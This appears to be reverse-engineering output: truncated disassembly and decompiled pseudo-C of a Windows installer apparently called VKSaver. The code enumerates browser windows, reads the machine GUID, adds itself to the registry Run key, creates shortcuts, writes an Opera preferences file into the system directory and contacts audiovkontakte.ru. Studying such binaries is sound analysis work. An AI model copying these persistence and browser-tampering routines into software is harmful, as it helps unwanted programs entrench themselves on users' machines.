    movzx        eax, word ptr [ecx]
    mov          [esi+ecx*1], ax
    lea          ecx, [ecx+0x02]
    test         ax, ax
    jnz          .16
    inc          edx
    mov          [0x4B1040], edx
.17:
    test         bl, 0x08
    jz           .19
    mov          eax, edx
    mov          ecx, "Google Chrome"
    shl          eax, 0x09
    sub          eax, ecx
    lea          esi, [eax+0x471038]
    lea          ecx, [ecx]
.18:
    movzx        eax, word ptr [ecx]
    mov          [esi+ecx*1], ax
    lea          ecx, [ecx+0x02]
    test         ax, ax
    jnz          .18
    inc          edx
    mov          [0x4B1040], edx
.19:
    test         bl, 0x10
    jz           .21
    mov          eax, edx
    mov          ecx, "Apple Safari"
    shl          eax, 0x09
    sub          eax, ecx
    lea          esi, [eax+0x471038]
    lea          ecx, [ecx]
.20:
    movzx        eax, word ptr [ecx]
    mov          [esi+ecx*1], ax
    lea          ecx, [ecx+0x02]
    test         ax, ax
    jnz          .20
    inc          edx
    mov          [0x4B1040], edx
.21:
    test         bl, 0x20
    jz           .23
    mov          eax, edx
    mov          ecx, "Yandex browser"
    shl          eax, 0x09
    sub          eax, ecx
    lea          esi, [eax+0x471038]
    lea          ecx, [ecx]
.22:
    movzx        eax, word ptr [ecx]
    mov          [esi+ecx*1], ax
    lea          ecx, [ecx+0x02]
    test         ax, ax
    jnz          .22
    inc          edx
    mov          [0x4B1040], edx
.23:
    test         bl, 0x40
    jz           .25
    mov          eax, edx
    mov          ecx, "Maxthon browser"
    shl          eax, 0x09
    sub          eax, ecx
    lea          esi, [eax+0x471038]
    lea          ecx, [ecx]
.24:
    movzx        eax, word ptr [ecx]
    mov          [esi+ecx*1], ax
    lea          ecx, [ecx+0x02]
    test         ax, ax
    jnz          .24
    inc          edx
    mov          [0x4B1040], edx
.25:
    mov          ebx, [ebp-0x5008]
.26:
; listing truncated

/* DISPLAY WARNING: Type casts are NOT being printed */

void sub_403580(void)

{
    int16_t iVar1;
    code *pcVar2;
    int32_t iVar3;
    uint32_t *puVar4;
    uint32_t uVar5;
    int16_t *piVar6;
    int32_t iVar7;
    int32_t iVar8;
    undefined4 *puVar9;
    undefined4 *puVar10;
    uint32_t uStack_504c;
    int32_t iStack_5048;
    int32_t iStack_5038;
    uint32_t uStack_5018;
    int32_t iStack_5014;
    uint32_t auStack_5010 [2];
    uint32_t auStack_5008 [4096];
    char acStack_1008 [4068];
    undefined4 uStack_24;
    undefined4 uStack_20;
    uint32_t *puStack_1c;
    code *pcStack_18;
    uint32_t *puStack_14;
    
    __alloca_probe();
    puStack_14 = auStack_5010;
    auStack_5010[0] = 0;
    [0x0x4b1040] = 0;
    pcStack_18 = 0x4035ce;
    iVar3 = sub_401740();
    iStack_5014 = iVar3;
    if (iVar3 != 0) {
        puStack_14 = 0x0;
        pcStack_18 = sub_403320;
        [0x0x4a103c] = 0;
        puStack_1c = 0x4035f8;
        (*user32.EnumWindows)();
        iVar7 = 0;
        if (0 < [0x0x4a103c]) {
code_r0x00403610:
            puStack_14 = &uStack_5018;
            pcStack_18 = *(iVar7 * 4 + 0x4a1040);
            puStack_1c = 0x403624;
            (*user32.GetWindowThreadProcessId)();
            puVar4 = auStack_5008;
            iVar8 = 0;
code_r0x00403634:
            if (*puVar4 != uStack_5018) goto code_r0x00403638;
            if (-1 < iVar8) {
                puStack_14 = 0xfffffff0;
                pcStack_18 = *(iVar7 * 4 + 0x4a1040);
                puStack_1c = 0x40366c;
                uVar5 = (*user32.GetWindowLongW)();
                if ((uVar5 & 0x10000000) != 0) {
                    puStack_14 = 0xff;
                    pcStack_18 = [0x0x4b1040] * 0x200 + 0x471038;
                    puStack_1c = *(iVar7 * 4 + 0x4a1040);
                    uStack_20 = 0x403693;
                    (*user32.GetWindowTextW)();
                    if (*([0x0x4b1040] * 0x200 + 0x471038) != 0) {
                        if (acStack_1008[iVar8] == '\x10') {
                            puVar10 = [0x0x4b1040] * 0x200 + 0x471036;
                            do {
                                piVar6 = puVar10 + 2;
                                puVar10 = puVar10 + 2;
                            } while (*piVar6 != 0);
                            puVar9 = " - Apple Safari";
                            for (iVar3 = 8; iVar3 != 0; iVar3 = iVar3 + -1) {
                                *puVar10 = *puVar9;
                                puVar9 = puVar9 + 1;
                                puVar10 = puVar10 + 1;
                            }
                        }
                        004b1040 = [0x0x4b1040] + 1;
                    }
                    if (0xfe < [0x0x4b1040]) goto code_r0x004036f2;
                }
            }
            goto code_r0x00403645;
        }
code_r0x004036f2:
        if ([0x0x4b1040] != 0) goto code_r0x00403886;
        if ((auStack_5010[0] & 1) != 0) {
            iVar3 = 0;
            do {
                piVar6 = iVar3 + "Microsoft Internet Explorer";
                *(iVar3 + 0x471038) = *piVar6;
                iVar3 = iVar3 + 2;
            } while (*piVar6 != 0);
            [0x0x4b1040] = 1;
        }
        if ((auStack_5010[0] & 2) != 0) {
            piVar6 = "Mozilla Firefox";
            do {
                iVar1 = *piVar6;
                piVar6[[0x0x4b1040] * 0x100 + 0x2cbe] = iVar1;
                piVar6 = piVar6 + 1;
            } while (iVar1 != 0);
            004b1040 = [0x0x4b1040] + 1;
        }
        if ((auStack_5010[0] & 4) != 0) {
            piVar6 = "Opera browser";
            do {
                iVar1 = *piVar6;
                piVar6[[0x0x4b1040] * 0x100 + 0x2cae] = iVar1;
                piVar6 = piVar6 + 1;
            } while (iVar1 != 0);
            004b1040 = [0x0x4b1040] + 1;
        }
        if ((auStack_5010[0] & 8) != 0) {
            piVar6 = "Google Chrome";
            do {
                iVar1 = *piVar6;
                piVar6[[0x0x4b1040] * 0x100 + 0x2ca0] = iVar1;
                piVar6 = piVar6 + 1;
            } while (iVar1 != 0);
            004b1040 = [0x0x4b1040] + 1;
        }
        if ((auStack_5010[0] & 0x10) != 0) {
            piVar6 = "Apple Safari";
            do {
                iVar1 = *piVar6;
                piVar6[[0x0x4b1040] * 0x100 + 0x2c92] = iVar1;
                piVar6 = piVar6 + 1;
            } while (iVar1 != 0);
            004b1040 = [0x0x4b1040] + 1;
        }
        if ((auStack_5010[0] & 0x20) != 0) {
            piVar6 = "Yandex browser";
            do {
                iVar1 = *piVar6;
                piVar6[[0x0x4b1040] * 0x100 + 0x2c84] = iVar1;
                piVar6 = piVar6 + 1;
            } while (iVar1 != 0);
            004b1040 = [0x0x4b1040] + 1;
        }
        if ((auStack_5010[0] & 0x40) != 0) {
            piVar6 = "Maxthon browser";
            do {
                iVar1 = *piVar6;
                piVar6[[0x0x4b1040] * 0x100 + 0x2c74] = iVar1;
                piVar6 = piVar6 + 1;
            } while (iVar1 != 0);
            004b1040 = [0x0x4b1040] + 1;
        }
    }
    if ([0x0x4b1040] == 0) {
        [0x0x4b1044] = [0x0x4b1044] + 1;
        puStack_14 = 0x40386d;
        sub_404410();
        sub_406beb();
        return;
    }
code_r0x00403886:
    pcVar2 = user32.SendMessageW;
    if ([0x0x4b1040] != [0x0x4b2018]) {
        puStack_14 = 0x0;
        pcStack_18 = 0x0;
        puStack_1c = 0x1009;
        uStack_20 = [0x0x4b1448];
        uStack_24 = 0x4038af;
        004b2018 = [0x0x4b1040];
        (*user32.SendMessageW)();
        iVar3 = 0;
        if (0 < [0x0x4b1040]) {
            iVar7 = 0x471038;
            do {
                puStack_14 = 0x34;
                puStack_1c = &uStack_504c;
                pcStack_18 = 0x0;
                uStack_20 = 0x4038d0;
                _memset();
                puStack_14 = &uStack_504c;
                pcStack_18 = 0x0;
                puStack_1c = 0x104d;
                uStack_20 = [0x0x4b1448];
                uStack_504c = 1;
                uStack_24 = 0x4038ff;
                iStack_5048 = iVar3;
                iStack_5038 = iVar7;
                (*pcVar2)();
                iVar3 = iVar3 + 1;
                iVar7 = iVar7 + 0x200;
            } while (iVar3 < [0x0x4b1040]);
        }
    }
    sub_406beb();
    return;
code_r0x00403638:
    iVar8 = iVar8 + 1;
    puVar4 = puVar4 + 1;
    iVar3 = iVar3 + -1;
    if (iVar3 == 0) goto code_r0x00403645;
    goto code_r0x00403634;
code_r0x00403645:
    iVar7 = iVar7 + 1;
    iVar3 = iStack_5014;
    if ([0x0x4a103c] <= iVar7) goto code_r0x004036f2;
    goto code_r0x00403610;
}
0x402CE0 sub_402ce0 str 23 api 9 imm 28 Unknown
sub_402ce0() {
    push         ebp
    mov          ebp, esp
    mov          eax, 0x1514
    call         __alloca_probe()
    mov          eax, [0x46F000]
    xor          eax, ebp
    mov          [ebp-0x04], eax
    push         ebx
    push         esi
    push         edi
    lea          eax, [ebp-0x1510]
    push         eax
    push         0x101
    push         0x00
    push         "SOFTWARE\\Microsoft\\Cryptography"
    push         0x80000002
    mov          [ebp-0x150A], dl
    mov          [ebp-0x1509], cl
    call         [advapi32.RegOpenKeyExA]
    test         eax, eax
    jnz          .15
    lea          eax, [ebp-0x1514]
    push         eax
    push         0x4B14CC
    push         0x00
    push         0x00
    xorps        xmm0, xmm0
    push         "MachineGuid"
    push         [ebp-0x1510]
    mov          dword ptr [ebp-0x1514], 0x28
    movq         [0x4B14CC], xmm0
    movq         [0x4B14D4], xmm0
    movq         [0x4B14DC], xmm0
    movq         [0x4B14E4], xmm0
    movq         [0x4B14EC], xmm0
    call         [advapi32.RegQueryValueExA]
    push         [ebp-0x1510]
    mov          edi, [advapi32.RegCloseKey]
    call         edi
    mov          esi, 0x4B14CC
    xor          ebx, ebx
.1:
    cmp          byte ptr [esi], 0x2D
    jnz          .2
    inc          esi
.2:
    mov          dl, [esi]
    inc          esi
    xor          al, al
    lea          ecx, [edx-0x30]
    cmp          cl, 0x09
    jnbe         .3
    mov          al, dl
    sub          al, 0x30
    jmp          .6
.3:
    cmp          dl, 0x61
    jl           .4
    cmp          dl, 0x66
    jle          .5
.4:
    lea          ecx, [edx-0x41]
    cmp          cl, 0x05
    jnbe         .6
.5:
    mov          al, dl
    and          al, 0x0F
    add          al, 0x09
.6:
    mov          ecx, ebx
    test         bl, 0x01
    jz           .7
    shr          ecx, 0x01
    or           [ecx+0x4B14BC], al
    jmp          .8
.7:
    shl          al, 0x04
    shr          ecx, 0x01
    mov          [ecx+0x4B14BC], al
.8:
    inc          ebx
    cmp          ebx, 0x20
    jl           .1
    call         sub_402360()
    test         al, al
    jz           .15
    cmp          byte ptr [0x4B14BA], 0x00
    jz           .9
    call         sub_4029b0()
.9:
    call         sub_401fa0()
    test         al, al
    jz           .15
    lea          eax, [ebp-0x1510]
    push         eax
    push         0x03
    push         0x00
    push         "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
    push         0x80000002
    call         [advapi32.RegOpenKeyExW]
    test         eax, eax
    jnz          .11
    mov          ecx, 0x4B1A10
    lea          edx, [ecx+0x02]
    lea          esp, [esp]
.10:
    mov          ax, [ecx]
    add          ecx, 0x02
    test         ax, ax
    jnz          .10
    sub          ecx, edx
    sar          ecx, 0x01
    lea          eax, [ecx*2+0x02]
    push         eax
    push         0x4B1A10
    push         0x01
    push         0x00
    push         "VKSaver"
    push         [ebp-0x1510]
    call         [advapi32.RegSetValueExW]
    push         [ebp-0x1510]
    call         edi
.11:
    mov          esi, [shell32.SHGetSpecialFolderPathW]
    push         0x00
    push         0x18
    lea          eax, [ebp-0x208]
    push         eax
    push         0x00
    call         esi
    push         "\\VKSaver.lnk"
    lea          eax, [ebp-0x208]
    push         0x100
    push         eax
    call         _wcscat_s()
    mov          edi, [kernel32.DeleteFileW]
    add          esp, 0x0C
    lea          eax, [ebp-0x208]
    push         eax
    call         edi
    push         0x00
    push         0x17
    lea          eax, [ebp-0x208]
    push         eax
    push         0x00
    call         esi
    push         "\\VKSaver"
    lea          eax, [ebp-0x208]
    push         0x100
    push         eax
    call         _wcscat_s()
    add          esp, 0x0C
    lea          eax, [ebp-0x208]
    push         0x00
    push         eax
    call         [kernel32.CreateDirectoryW]
    mov          esi, [user32.wsprintfW]
    push         "VKSaver.lnk"
    lea          eax, [ebp-0x208]
    push         eax
    lea          eax, [ebp-0x408]
    push         "%s\\%s"
    push         eax
    call         esi
    add          esp, 0x10
    lea          eax, [ebp-0x408]
    push         eax
    call         edi
    push         "Launch VKSaver.lnk"
    lea          eax, [ebp-0x208]
    push         eax
    lea          eax, [ebp-0x408]
    push         "%s\\%s"
    push         eax
    call         esi
    push         0xFFFFFF95
    lea          eax, [ebp-0x408]
    push         0x46B100
    push         eax
    mov          edx, 0x46B4AC
    mov          ecx, 0x4B1A10
    call         sub_402b60()
    add          esp, 0x1C
    lea          eax, [ebp-0x208]
    push         "Readme.lnk"
    push         eax
    lea          eax, [ebp-0x408]
    push         "%s\\%s"
    push         eax
    call         esi
    push         0xFFFFFF77
    lea          eax, [ebp-0x408]
    push         0x46B100
    push         eax
    mov          edx, 0x46B4E8
    mov          ecx, 0x4B1610
    call         sub_402b60()
    add          esp, 0x1C
    lea          eax, [ebp-0x208]
    push         "Uninstall.lnk"
    push         eax
    push         "%s\\%s"
    lea          eax, [ebp-0x408]
    push         eax
    call         esi
    push         0xFFFFFF78
    lea          eax, [ebp-0x408]
    push         "-uninstall"
    push         eax
    mov          edx, 0x46B540
    mov          ecx, 0x4B1A10
    call         sub_402b60()
    add          esp, 0x1C
    lea          eax, [ebp-0x508]
    push         0x100
    push         eax
    call         [kernel32.GetSystemDirectoryA]
    push         "\\operaprefs_fixed.ini"
    lea          eax, [ebp-0x508]
; listing truncated

/* DISPLAY WARNING: Type casts are NOT being printed */

void sub_402ce0(void)

{
    uint8_t *puVar1;
    code *pcVar2;
    code *pcVar3;
    int16_t *piVar4;
    uint8_t uVar5;
    char cVar6;
    uint8_t uVar7;
    int32_t iVar8;
    int16_t *piVar9;
    char extraout_DL;
    uint32_t uVar10;
    uint8_t *puVar11;
    undefined4 uStack_1518;
    undefined4 uStack_1514;
    char cStack_150e;
    char acStack_150c [4096];
    undefined auStack_50c [256];
    undefined auStack_40c [512];
    undefined auStack_20c [368];
    undefined4 uStack_9c;
    undefined4 uStack_98;
    char *pcStack_94;
    char *pcStack_90;
    undefined *puStack_8c;
    undefined4 uStack_88;
    undefined *puStack_84;
    undefined4 uStack_80;
    char *pcStack_7c;
    undefined *puStack_78;
    undefined *puStack_74;
    undefined *puStack_70;
    undefined *puStack_6c;
    undefined *puStack_68;
    undefined *puStack_64;
    undefined4 uStack_60;
    undefined4 uStack_5c;
    undefined *puStack_58;
    undefined *puStack_54;
    undefined4 uStack_50;
    undefined *puStack_4c;
    undefined4 uStack_48;
    undefined *puStack_44;
    undefined4 uStack_40;
    int32_t iStack_3c;
    undefined4 uStack_38;
    undefined4 uStack_34;
    undefined4 uStack_30;
    undefined4 uStack_2c;
    undefined4 *puStack_28;
    undefined4 uStack_24;
    undefined4 uStack_20;
    undefined4 uStack_1c;
    undefined4 uStack_18;
    undefined4 *puStack_14;
    
    __alloca_probe();
    puStack_14 = &uStack_1514;
    uStack_18 = 0x101;
    uStack_1c = 0;
    uStack_20 = "SOFTWARE\\Microsoft\\Cryptography";
    uStack_24 = 0x80000002;
    puStack_28 = 0x402d24;
    cStack_150e = extraout_DL;
    iVar8 = (*advapi32.RegOpenKeyExA)();
    if (iVar8 == 0) {
        puStack_28 = &uStack_1518;
        uStack_2c = 0x4b14cc;
        uStack_30 = 0;
        uStack_34 = 0;
        uStack_38 = "MachineGuid";
        iStack_3c = uStack_1514;
        uStack_1518 = 0x28;
        [0x0x4b14cc] = 0;
        [0x0x4b14d4] = 0;
        [0x0x4b14dc] = 0;
        [0x0x4b14e4] = 0;
        [0x0x4b14ec] = 0;
        uStack_40 = 0x402d82;
        (*advapi32.RegQueryValueExA)();
        pcVar2 = advapi32.RegCloseKey;
        uStack_40 = uStack_1514;
        puStack_44 = 0x402d90;
        (*advapi32.RegCloseKey)();
        puVar11 = 0x4b14cc;
        uVar10 = 0;
        do {
            if (*puVar11 == 0x2d) {
                puVar11 = puVar11 + 1;
            }
            uVar7 = *puVar11;
            puVar11 = puVar11 + 1;
            uVar5 = 0;
            if (uVar7 - 0x30 < 10) {
                uVar5 = uVar7 - 0x30;
            }
            else if ((('`' < uVar7) && (uVar7 < 'g')) || (uVar7 + 0xbf < 6)) {
                uVar5 = (uVar7 & 0xf) + 9;
            }
            if ((uVar10 & 1) == 0) {
                *((uVar10 >> 1) + 0x4b14bc) = uVar5 << 4;
            }
            else {
                puVar1 = (uVar10 >> 1) + 0x4b14bc;
                *puVar1 = *puVar1 | uVar5;
            }
            uVar10 = uVar10 + 1;
        } while (uVar10 < 0x20);
        puStack_44 = 0x402def;
        cVar6 = sub_402360();
        if (cVar6 != '\0') {
            if ([0x0x4b14ba] != '\0') {
                puStack_28 = 0x402e05;
                sub_4029b0();
            }
            puStack_28 = 0x402e0a;
            cVar6 = sub_401fa0();
            if (cVar6 != '\0') {
                puStack_28 = &uStack_1514;
                uStack_2c = 3;
                uStack_30 = 0;
                uStack_34 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
                uStack_38 = 0x80000002;
                iStack_3c = 0x402e2d;
                iVar8 = (*advapi32.RegOpenKeyExW)();
                if (iVar8 == 0) {
                    piVar4 = 0x4b1a10;
                    do {
                        piVar9 = piVar4;
                        piVar4 = piVar9 + 1;
                    } while (*piVar9 != 0);
                    iStack_3c = (piVar9 + -0x258d08 >> 1) * 2 + 2;
                    uStack_40 = 0x4b1a10;
                    puStack_44 = 0x1;
                    uStack_48 = 0;
                    puStack_4c = "VKSaver";
                    uStack_50 = uStack_1514;
                    puStack_54 = 0x402e71;
                    (*advapi32.RegSetValueExW)();
                    puStack_54 = uStack_1514;
                    puStack_58 = 0x402e79;
                    (*pcVar2)();
                }
                pcVar3 = shell32.SHGetSpecialFolderPathW;
                iStack_3c = 0;
                uStack_40 = 0x18;
                puStack_44 = auStack_20c;
                uStack_48 = 0;
                puStack_4c = 0x402e8e;
                (*shell32.SHGetSpecialFolderPathW)();
                puStack_4c = "\\VKSaver.lnk";
                puStack_54 = auStack_20c;
                uStack_50 = 0x100;
                puStack_58 = 0x402ea4;
                _wcscat_s();
                pcVar2 = kernel32.DeleteFileW;
                puStack_4c = auStack_20c;
                uStack_50 = 0x402eb6;
                (*kernel32.DeleteFileW)();
                uStack_50 = 0;
                puStack_54 = 0x17;
                puStack_58 = auStack_20c;
                uStack_5c = 0;
                uStack_60 = 0x402ec5;
                (*pcVar3)();
                uStack_60 = "\\VKSaver";
                puStack_68 = auStack_20c;
                puStack_64 = 0x100;
                puStack_6c = 0x402edb;
                _wcscat_s();
                puStack_64 = auStack_20c;
                uStack_60 = 0;
                puStack_68 = 0x402eed;
                (*kernel32.CreateDirectoryW)();
                pcVar3 = user32.wsprintfW;
                puStack_68 = "VKSaver.lnk";
                puStack_6c = auStack_20c;
                puStack_74 = auStack_40c;
                puStack_70 = "%s\\%s";
                puStack_78 = 0x402f0d;
                (*user32.wsprintfW)();
                puStack_68 = auStack_40c;
                puStack_6c = 0x402f19;
                (*pcVar2)();
                puStack_6c = "Launch VKSaver.lnk";
                puStack_70 = auStack_20c;
                puStack_78 = auStack_40c;
                puStack_74 = "%s\\%s";
                pcStack_7c = 0x402f33;
                (*pcVar3)();
                pcStack_7c = 0xffffff95;
                puStack_84 = auStack_40c;
                uStack_80 = 0x46b100;
                uStack_88 = 0x402f50;
                sub_402b60();
                puStack_70 = auStack_20c;
                puStack_6c = "Readme.lnk";
                puStack_78 = auStack_40c;
                puStack_74 = "%s\\%s";
                pcStack_7c = 0x402f6d;
                (*pcVar3)();
                pcStack_7c = 0xffffff77;
                puStack_84 = auStack_40c;
                uStack_80 = 0x46b100;
                uStack_88 = 0x402f8d;
                sub_402b60();
                puStack_70 = auStack_20c;
                puStack_6c = "Uninstall.lnk";
                puStack_74 = "%s\\%s";
                puStack_78 = auStack_40c;
                pcStack_7c = 0x402faa;
                (*pcVar3)();
                pcStack_7c = 0xffffff78;
                puStack_84 = auStack_40c;
                uStack_80 = "-uninstall";
/* listing truncated */
0x4064E0 sub_4064e0 str 13 api 38 imm 29 Unknown
sub_4064e0() {
    push         ebp
    mov          ebp, esp
    and          esp, 0xFFFFFFF0
    mov          eax, 0x1A68
    call         __alloca_probe()
    mov          eax, [0x46F000]
    xor          eax, esp
    mov          [esp+0x1A64], eax
    push         esi
    push         edi
    push         "VKSaverInstallerMtx"
    push         0x00
    push         0x100000
    call         [kernel32.OpenMutexW]
    mov          [0x4B14F4], eax
    test         eax, eax
    jz           .2
    push         eax
    call         [kernel32.CloseHandle]
    push         0x00
    push         "VKSaverInstallWnd"
    call         [user32.FindWindowW]
    mov          esi, eax
    test         esi, esi
    jz           .1
    push         0x01
    push         esi
    call         [user32.ShowWindow]
    push         esi
    call         [user32.SetForegroundWindow]
.1:
    mov          eax, 0x01
    pop          edi
    pop          esi
    mov          ecx, [esp+0x1A64]
    xor          ecx, esp
    call         sub_406beb()
    mov          esp, ebp
    pop          ebp
    ret          0x10
.2:
    push         "VKSaverInstallerMtx"
    push         0x01
    push         0x00
    call         [kernel32.CreateMutexW]
    mov          [0x4B14F4], eax
    lea          eax, [esp+0x4D8]
    push         eax
    push         0x202
    call         [ws2_32.WSAStartup]
    test         eax, eax
    jnz          .29
    mov          esi, [ws2_32.GetAddrInfoW]
    lea          eax, [esp+0x20]
    push         eax
    lea          eax, [esp+0x34]
    push         eax
    xorps        xmm0, xmm0
    movdqa       [esp+0x38], xmm0
    push         0x46D578
    push         "audiovkontakte.ru"
    movdqa       [esp+0x50], xmm0
    mov          dword ptr [esp+0x44], 0x02
    mov          dword ptr [esp+0x48], 0x02
    mov          dword ptr [esp+0x4C], 0x11
    call         esi
    test         eax, eax
    jz           .4
    jmp          .3
.3:
    push         0x25
    push         0x46D5A4
    push         0x46D5D8
    push         0x00
    call         [user32.MessageBoxW]
    cmp          eax, 0x02
    jz           .6
    lea          eax, [esp+0x20]
    push         eax
    lea          eax, [esp+0x34]
    push         eax
    xorps        xmm0, xmm0
    movdqa       [esp+0x38], xmm0
    push         0x46D578
    push         "audiovkontakte.ru"
    movdqa       [esp+0x50], xmm0
    mov          dword ptr [esp+0x44], 0x02
    mov          dword ptr [esp+0x48], 0x02
    mov          dword ptr [esp+0x4C], 0x11
    call         esi
    test         eax, eax
    jnz          .3
.4:
    push         [esp+0x20]
    call         [ws2_32.FreeAddrInfoW]
    push         0x00
    push         0x02
    call         [kernel32.CreateToolhelp32Snapshot]
    push         0x228
    mov          edi, eax
    lea          eax, [esp+0x2B0]
    push         0x00
    push         eax
    call         _memset()
    add          esp, 0x0C
    mov          dword ptr [esp+0x2A8], 0x22C
    call         [kernel32.GetCurrentProcessId]
    mov          esi, eax
    lea          eax, [esp+0x2A8]
    push         eax
    push         edi
    mov          [esp+0x1C], esi
    mov          dword ptr [esp+0x24], 0x00
    call         [kernel32.Process32FirstW]
    test         eax, eax
    jz           .8
    lea          ecx, [ecx]
.5:
    cmp          [esp+0x2B0], esi
    jz           .7
    lea          eax, [esp+0x2A8]
    push         eax
    push         edi
    call         [kernel32.Process32NextW]
    test         eax, eax
    jnz          .5
    jmp          .8
.6:
    mov          eax, 0x02
    pop          edi
    pop          esi
    mov          ecx, [esp+0x1A64]
    xor          ecx, esp
    call         sub_406beb()
    mov          esp, ebp
    pop          ebp
    ret          0x10
.7:
    mov          eax, [esp+0x2C0]
    mov          [esp+0x1C], eax
.8:
    push         edi
    call         [kernel32.CloseHandle]
    push         0x200
    lea          eax, [esp+0x66C]
    push         eax
    push         0x00
    call         [kernel32.GetModuleFileNameW]
    lea          eax, [esp+0x54]
    push         eax
    lea          eax, [esp+0x66C]
    push         eax
    call         [version.GetFileVersionInfoSizeW]
    mov          esi, eax
    lea          ecx, [esi+0x04]
    push         ecx
    push         0x01
    call         _calloc()
    add          esp, 0x08
    mov          edi, eax
    push         edi
    push         esi
    push         0x00
    lea          eax, [esp+0x674]
    push         eax
    call         [version.GetFileVersionInfoW]
    lea          eax, [esp+0x2C]
    push         eax
    lea          eax, [esp+0x28]
    push         eax
    push         0x46B11C
    push         edi
    mov          dword ptr [esp+0x34], 0x00
    call         [version.VerQueryValueW]
    mov          eax, [esp+0x24]
    mov          esi, [esp+0x2C]
    test         eax, eax
    cmovnz       esi, eax
    movzx        eax, word ptr [esi+0x0C]
    mov          [esp+0x28], eax
    movzx        eax, word ptr [esi+0x0A]
    mov          [0x4B14FC], eax
    movzx        eax, word ptr [esi+0x08]
    mov          [0x4B1500], eax
    mov          edx, [esi+0x0C]
    mov          ecx, edx
    shr          ecx, 0x19
    imul         ecx, ecx, 0x64
    mov          eax, edx
    shr          eax, 0x15
    and          eax, 0x0F
    add          ecx, eax
    imul         ecx, ecx, 0x64
    shr          edx, 0x10
    and          edx, 0x1F
    add          ecx, edx
    mov          [0x4B1504], ecx
    movzx        eax, word ptr [esi+0x0C]
    mov          [0x4B1508], eax
    mov          ecx, [esi+0x0C]
    mov          edx, [esi+0x08]
    mov          eax, ecx
    shr          eax, 0x19
    add          eax, 0x7D0
    push         eax
    mov          eax, ecx
    shr          eax, 0x15
    and          eax, 0x0F
    push         eax
    mov          eax, ecx
    shr          eax, 0x10
    and          eax, 0x1F
    push         eax
    movzx        eax, cx
    push         eax
    movzx        eax, dx
    push         eax
    shr          edx, 0x10
    push         edx
; listing truncated

/* DISPLAY WARNING: Type casts are NOT being printed */

void sub_4064e0(void)

{
    code *pcVar1;
    int32_t iVar2;
    char cVar3;
    uint8_t uVar4;
    int32_t iVar5;
    int32_t iVar6;
    int32_t iVar7;
    int16_t *piVar8;
    int16_t *piVar9;
    undefined *puVar10;
    uint32_t uVar11;
    uint32_t uVar12;
    int32_t in_stack_00000264;
    int16_t in_stack_000005d4;
    undefined *puStack_58;
    undefined4 uStack_54;
    undefined4 uStack_50;
    undefined4 uStack_4c;
    undefined4 uStack_48;
    int32_t iStack_44;
    undefined *puStack_40;
    undefined *puStack_3c;
    int32_t iStack_38;
    undefined **ppuStack_34;
    undefined4 uStack_30;
    undefined4 uStack_2c;
    undefined auStack_28 [8];
    undefined8 uStack_20;
    undefined auStack_8 [4];
    
    __alloca_probe();
    uStack_20._0_4_ = 0;
    uStack_20._4_4_ = "VKSaverInstallerMtx";
    auStack_28 = 0x10000000000000;
    auStack_28._0_4_ = 0x406512;
    004b14f4 = (*kernel32.OpenMutexW)();
    if (004b14f4 != 0) {
        auStack_28._0_4_ = 004b14f4;
        uStack_2c = 0x406522;
        (*kernel32.CloseHandle)();
        uStack_2c = 0;
        uStack_30 = "VKSaverInstallWnd";
        ppuStack_34 = 0x40652f;
        iVar5 = (*user32.FindWindowW)();
        if (iVar5 != 0) {
            ppuStack_34 = 0x1;
            puStack_3c = 0x40653e;
            iStack_38 = iVar5;
            (*user32.ShowWindow)();
            puStack_40 = 0x406545;
            puStack_3c = iVar5;
            (*user32.SetForegroundWindow)();
        }
        uStack_2c = 0x40655a;
        sub_406beb();
        return;
    }
    auStack_28._0_4_ = "VKSaverInstallerMtx";
    uStack_2c = 1;
    uStack_30 = 0;
    ppuStack_34 = 0x40656f;
    004b14f4 = (*kernel32.CreateMutexW)();
    ppuStack_34 = &stack0x000004a8;
    iStack_38 = 0x202;
    puStack_3c = 0x406587;
    iVar5 = (*ws2_32.WSAStartup)();
    pcVar1 = ws2_32.GetAddrInfoW;
    if (iVar5 != 0) goto code_r0x00406bd3;
    puStack_3c = &stack0xffffffe8;
    puStack_40 = auStack_8;
    iStack_44 = 0x46d578;
    uStack_48 = "audiovkontakte.ru";
    uStack_4c = 0x4065d2;
    iVar5 = (*ws2_32.GetAddrInfoW)();
    while (iVar5 != 0) {
        uStack_4c = 0x25;
        uStack_50 = 0x46d5a4;
        uStack_54 = 0x46d5d8;
        puStack_58 = 0x0;
        iVar5 = (*user32.MessageBoxW)();
        if (iVar5 == 2) {
            uStack_54 = 0x4066d3;
            sub_406beb();
            return;
        }
        uStack_20._0_4_ = 2;
        auStack_28 = 0x200000000;
        uStack_20._4_4_ = 0x11;
        iVar5 = (*pcVar1)();
    }
    uStack_4c = auStack_28._0_4_;
    uStack_50 = 0x406648;
    (*ws2_32.FreeAddrInfoW)();
    uStack_50 = 0;
    uStack_54 = 2;
    puStack_58 = 0x406652;
    (*kernel32.CreateToolhelp32Snapshot)();
    puStack_58 = 0x228;
    _memset();
    iVar5 = 0x22c;
    puStack_58 = 0x40667c;
    iVar6 = (*kernel32.GetCurrentProcessId)();
    puStack_58 = &stack0x00000254;
    iStack_38 = 0;
    puStack_40 = iVar6;
    iVar7 = (*kernel32.Process32FirstW)();
    while ((iVar2 = puStack_40, iVar7 != 0 && (iVar2 = in_stack_00000264, iVar5 != iVar6))) {
        iVar7 = (*kernel32.Process32NextW)();
    }
    puStack_40 = iVar2;
    (*kernel32.CloseHandle)();
    (*kernel32.GetModuleFileNameW)();
    (*version.GetFileVersionInfoSizeW)();
    iVar5 = _calloc();
    (*version.GetFileVersionInfoW)();
    (*version.VerQueryValueW)();
    puVar10 = &stack0x00000608;
    if (&stack0xffffffe8 != 0x0) {
        puVar10 = &stack0xffffffe8;
    }
    004b14fc = *(puVar10 + 10);
    004b1500 = *(puVar10 + 8);
    uVar11 = *(puVar10 + 0xc);
    004b1504 = ((uVar11 >> 0x19) * 100 + (uVar11 >> 0x15 & 0xf)) * 100 + (uVar11 >> 0x10 & 0x1f);
    004b1508 = *(puVar10 + 0xc);
    (*user32.wsprintfW)();
    piVar8 = &stack0x000005d4;
    while (in_stack_000005d4 != 0) {
        if (*piVar8 == 0x2e) {
            *piVar8 = 0;
        }
        piVar8 = piVar8 + 1;
        in_stack_000005d4 = *piVar8;
    }
    cVar3 = sub_406090();
    if (((cVar3 == '\0') || (cVar3 = sub_406240(), cVar3 == '\0')) && (iVar5 != 0)) {
        sub_403120();
        uVar11 = 1;
        (*kernel32.CreateToolhelp32Snapshot)();
        _memset();
        iStack_44 = 0x22c;
        iVar5 = (*kernel32.Process32FirstW)();
